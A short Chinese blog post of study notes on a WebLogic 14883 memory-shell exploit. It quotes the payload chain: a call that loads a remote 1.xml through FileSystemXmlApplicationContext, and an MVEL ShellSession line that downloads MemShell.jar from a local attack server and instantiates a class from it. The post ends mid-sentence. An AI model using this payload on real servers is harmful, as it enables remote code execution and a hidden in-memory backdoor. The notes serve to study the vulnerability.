关于14883的内存shell

hu4wufu

于 2020-11-02 17:48:00 发布

阅读量271

点赞数

CC 4.0 BY-SA版权

分类专栏：研究

本文链接：https://blog.youkuaiyun.com/Candyys/article/details/109451440

研究专栏收录该内容

1 篇文章

订阅专栏

本文介绍了如何通过com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext函数加载1.xml，生成内存shell。内容涉及到FileSystemXmlApplicationContext类的使用，以及1.xml在内存shell生成过程中的作用。同时提到了MemShell.jar，它是内存shell的一部分，但具体内容未公开，可关注宽字节安全以获取更多信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

我看不大懂，先百度几个用到的函数，以后慢慢理解。com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext('http://127.0.0.1:8080/1.xml)

然后线程加载com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext('http://127.0.0.1:8080/1.xml)

也就是加载本地或者远程的1.xml，生成内存shell的代码也主要在这里边。

公共类FileSystemXmlApplicationContext

独立的XML应用程序上下文，从文件系统或URL中获取上下文定义文件，将纯路径解释为相对文件系统位置（例如“ mydir / myfile.txt”）。对于测试工具以及独立环境很有用。

1.xml

com.tangosol.coherence.mvel2.sh.ShellSession(" java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8000/MemShell.jar")}); u.loadClass("org.unicodeSec.bingxie").newInstance(); u.close(); ");

也就是反射加载url中的